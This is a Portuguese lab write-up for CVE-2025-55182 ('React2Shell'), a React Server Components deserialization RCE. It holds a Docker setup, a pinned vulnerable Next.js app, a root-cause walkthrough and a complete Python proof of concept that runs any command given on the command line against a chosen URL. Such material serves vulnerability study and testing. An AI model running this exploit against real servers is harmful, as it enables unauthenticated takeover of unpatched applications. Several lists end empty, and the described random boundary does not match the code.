
também conhecido como React2Shell
As seções exigidas pelas diretrizes da tarefa estão marcadas com “(Obrigatório)”.
Este ambiente usa um Dockerfile personalizado baseado na imagem oficial Node.js Alpine.
FROM node:20-alpine
WORKDIR /app
COPY package.json ./
RUN npm install --legacy-peer-deps
COPY . .
EXPOSE 3000
CMD ["npm", "run", "dev"]
O Dockerfile cria um ambiente vulnerável de React Server Components (RSC) e Next.js App Router.
O ambiente instala versões vulneráveis de:
O servidor vulnerável roda em modo de desenvolvimento usando npm run dev.
O servidor vulnerável roda em modo de desenvolvimento usando npm run dev.
O ambiente opera usando a seguinte estrutura:
[Attacker / exploit.py]
↓
[Next.js App Router]
↓
[React Flight Protocol Parser]
↓
[React Server Components Runtime]
↓
[Node.js Runtime]
O atacante envia uma requisição multipart/form-data especialmente elaborada para a aplicação Next.js vulnerável.
O payload malicioso abusa do processo de desserialização do protocolo React Flight.
A aplicação vulnerável usa a arquitetura Next.js App Router.
A requisição é processada através do pipeline de React Server Components.
O código-fonte da aplicação está armazenado dentro do diretório src/app/.
src/
└── app/
├── layout.js
└── page.js
O arquivo layout.js define o layout raiz necessário para a estrutura do App Router e inicializa o ambiente de React Server Components.
export default function RootLayout({ children }) {
return (<html><body>{children}</body></html>);
}
O arquivo page.js define a página raiz renderizada em / e exibe uma mensagem simples indicando que o servidor vulnerável está em execução.
export default function Page() {
return (<h1>Vulnerable Server</h1>);
}
As dependências do projeto e os scripts de execução são gerenciados por meio do arquivo package.json.
{
"name": "cve-2025-55182-vuln-app",
"version": "1.0.0",
"private": true,
"scripts": {
"dev": "next dev -p 3000"
},
"dependencies": {
"next": "15.0.0",
"react": "19.0.0-rc-65a56d0e-20241020",
"react-dom": "19.0.0-rc-65a56d0e-20241020",
"react-server-dom-webpack": "19.0.0-rc-65a56d0e-20241020"
}
}
Este arquivo define versões vulneráveis de:
A aplicação vulnerável é executada usando:
"scripts": {
"dev": "next dev"
}
O servidor é iniciado por meio de:
npm run dev
que inicia o servidor de desenvolvimento Next.js vulnerável na porta 3000.
O protocolo Flight desserializa objetos React complexos, como:
A vulnerabilidade ocorre durante esse processo de desserialização.
O runtime do React processa payloads Flight controlados pelo atacante.
A travessia insegura de propriedades e o acesso ao protótipo eventualmente permitem que atacantes sequestrem o construtor de Function.
Após a exploração bem-sucedida, código JavaScript arbitrário é executado dentro do ambiente de servidor Node.js.
Isso leva à Execução Remota de Código (RCE).
| Component | Version |
|---|---|
| Node.js | 20-alpine |
| Next.js | 15.0.0 |
| React | 19.0.0-rc |
| react-dom | 19.0.0-rc |
O ambiente usa implementações vulneráveis de React Server Components e do protocolo Flight.
O CVE-2025-55182, também conhecido como React2Shell, é uma vulnerabilidade crítica de Execução Remota de Código (RCE) que afeta React Server Components e o protocolo React Flight.
A vulnerabilidade ocorre durante o processo de desserialização de payloads do protocolo Flight controlados pelo atacante.
O problema permite que atacantes:
A vulnerabilidade é particularmente perigosa porque a exploração pode ocorrer sem autenticação usando uma única requisição HTTP elaborada.
Aplicações que usam configurações vulneráveis de React Server Components e Next.js App Router estão diretamente expostas.
A causa raiz da vulnerabilidade é o tratamento inseguro de referências de objetos controladas pelo atacante durante a desserialização do protocolo Flight.
O React Flight usa internamente strings de referência especiais, como:
$@0
$B1337
$1:__proto__:then
Essas referências são resolvidas recursivamente durante a desserialização.
A lógica vulnerável realiza travessia de propriedades semelhante a:
value[path[i]]
sem validar se a propriedade pertence ao próprio objeto.
Como resultado, os atacantes podem acessar propriedades perigosas da cadeia de protótipos do JavaScript, como:
__proto__
constructor
prototype
Isso eventualmente permite poluição de protótipo e sequestro do construtor de Function.
O atacante primeiro cria um objeto de chunk React falso.
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "touch /tmp/success.txt",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
O campo crítico é:
"status": "resolved_model"
O runtime do React confia incorretamente nesse campo e trata o objeto controlado pelo atacante como um objeto de chunk interno legítimo.
O payload:
$1:__proto__:then
faz com que o desserializador atravesse a cadeia de protótipos do JavaScript.
Como o código vulnerável não valida propriedades perigosas, o atacante obtém acesso a:
Chunk.prototype.then
Isso transforma o chunk falso em um objeto thenable.
O payload:
$1:constructor:constructor
em última análise, resolve para:
Function
Isso substitui:
response._formData.get
pelo construtor global de Function do JavaScript.
Como resultado:
Function(attacker_controlled_payload)
se torna possível.
O payload:
$B1337
força o parser do React Flight a entrar na lógica de análise de Blob.
Durante esse processo:
response._formData.get(...)
é executado.
No entanto, o atacante já substituiu essa função pelo construtor global de Function.
Isso finalmente resulta na execução de JavaScript arbitrário dentro do runtime Node.js.
O processo do exploit ocorre na seguinte ordem:
Attacker Request
↓
Flight Payload Parsing
↓
Fake Chunk Creation
↓
Prototype Pollution
↓
Function Constructor Hijacking
↓
Blob Parsing Trigger
↓
Promise Resolution
↓
Remote Code Execution
O atacante primeiro envia uma requisição Flight multipart elaborada.
O servidor vulnerável desserializa o payload malicioso e resolve recursivamente referências controladas pelo atacante.
A travessia insegura de protótipo eventualmente permite que o atacante sequestre o construtor de Function.
Durante a resolução de Promise e a análise de Blob, código JavaScript arbitrário é executado.
A exploração bem-sucedida permite que atacantes executem código JavaScript arbitrário dentro do ambiente de servidor Node.js.
Neste ambiente, o exploit executa:
touch /tmp/success.txt
A exploração bem-sucedida é verificada quando o seguinte arquivo existe dentro do contêiner:
/tmp/success.txt
Em ambientes do mundo real, atacantes poderiam:
A vulnerabilidade é especialmente perigosa porque afeta os internos do framework React, em vez da lógica de negócios da aplicação.
Isso significa que um grande número de aplicações pode se tornar vulnerável simplesmente por usar versões afetadas do framework.
A Prova de Conceito (PoC) foi escrita em Python.
O exploit envia uma requisição multipart/form-data maliciosa diretamente para a aplicação Next.js vulnerável.
O PoC realiza as seguintes ações:
import requests
import sys
def exploit_rce(url, command):
headers = {
"Host": "localhost",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
"Next-Action": "x",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
}
payload_json = (
'{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
'"value":"{\\"then\\":\\"$B1337\\"}","_response":{'
f'"_prefix":"process.mainModule.require(\'child_process\').execSync(\'{command}\');",'
'"_formData":{"get":"$1:constructor:constructor"}}}'
)
data = (
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
"Content-Disposition: form-data; name=\"0\"\r\n"
"\r\n"
f"{payload_json}\r\n"
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
"Content-Disposition: form-data; name=\"1\"\r\n"
"\r\n"
"\"$@0\"\r\n"
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n"
)
try:
print(f"[*] Sending RCE payload to {url}...")
print(f"[*] Command: {command}")
response = requests.post(url, headers=headers, data=data, timeout=10)
print(f"[*] Status Code: {response.status_code}")
print(f"[*] Response Body Preview: {response.text[:500]}")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
target_url = "http://localhost:3000"
cmd = "touch /tmp/success.txt"
if len(sys.argv) > 1:
cmd = sys.argv[1]
if len(sys.argv) > 2:
target_url = sys.argv[2]
exploit_rce(target_url, cmd)
O payload do exploit usa múltiplas referências do protocolo Flight especialmente elaboradas.
$1:__proto__:then| Parte | Propósito |
|---|---|
$1 | Referencia o chunk 1 |
__proto__ | Atravessa a cadeia de protótipos |
then | Recupera Chunk.prototype.then |
Este payload transforma o chunk falso em um objeto thenable.
$1:constructor:constructor| Parte | Propósito |
|---|---|
$1 | Referencia o chunk 1 |
constructor | Acessa o construtor do objeto |
constructor | Resolve para o construtor global de Function |
Este payload sequestra o construtor de Function do JavaScript.
$B1337O prefixo $B força o parser do Flight a entrar na lógica de análise de Blob.
Durante esse processo:
response._formData.get(...)
é executado.
Como o atacante já substituiu este método pelo construtor de Function, código JavaScript arbitrário é executado.
$@0Este payload cria uma referência circular de chunk.
O Chunk 1, em última análise, referencia o Chunk 0 novamente.
Essa estrutura permite que o desserializador use o objeto de chunk falso controlado pelo atacante durante a travessia de protótipo.
O exploit primeiro cria um boundary multipart aleatório.
boundary = "----WebKitFormBoundary" + uuid.uuid4().hex
Isso é necessário para construir uma requisição multipart/form-data válida.
O exploit constrói um objeto de chunk falso malicioso.
"status":"resolved_model"
Isso faz com que o runtime do React trate o objeto controlado pelo atacante como um chunk interno válido.
O seguinte payload:
$1:__proto__:then
força o parser vulnerável a atravessar a cadeia de protótipos do JavaScript.
O seguinte payload:
$1:constructor:constructor
substitui o método get interno pelo construtor de Function do JavaScript.
O payload:
require('child_process').execSync('touch /tmp/success.txt')
é eventualmente executado dentro do runtime Node.js.
A exploração bem-sucedida cria:
/tmp/success.txt
dentro do contêiner vulnerável.
O fluxo completo do exploit está resumido abaixo:
Start Docker Environment
↓
Run Vulnerable Next.js Server
↓
Execute exploit.py
↓
Send Malicious Flight Payload
↓
Trigger Prototype Pollution
↓
Hijack Function Constructor
↓
Trigger Blob Parsing
↓
Execute Arbitrary Code
↓
Verify /tmp/success.txt
Construa a imagem Docker.
docker build -t rsc-vuln .
Execute o contêiner vulnerável.
docker run -d -p 3000:3000 --name my-vuln-server rsc-vuln
O servidor Next.js vulnerável será executado em:
http://127.0.0.1:3000
Execute o script do PoC.
python3 exploit.py
O exploit envia um payload React Flight malicioso para o servidor Next.js vulnerável.
Verifique se o exploit criou com sucesso o arquivo de destino.
docker exec -it my-vuln-server ls -la /tmp/success.txt
A exploração bem-sucedida confirma que a execução de código arbitrário ocorreu dentro do contêiner vulnerável.
Durante a exploração bem-sucedida, o exploit deve acionar a desserialização do React Flight e a travessia de protótipo.
O servidor vulnerável processa o payload Flight malicioso e executa código JavaScript controlado pelo atacante.
A exploração bem-sucedida é confirmada quando o seguinte arquivo existe:
/tmp/success.txt
Exemplo de saída:
-rw-r--r-- 1 root root 0 Jan 1 00:00 /tmp/success.txt
Isso confirma que comandos arbitrários foram executados com sucesso dentro do ambiente Node.js vulnerável.
As seguintes capturas de tela foram incluídas no diretório screenshots/:


| react-server-dom-webpack |
| 19.0.0-rc |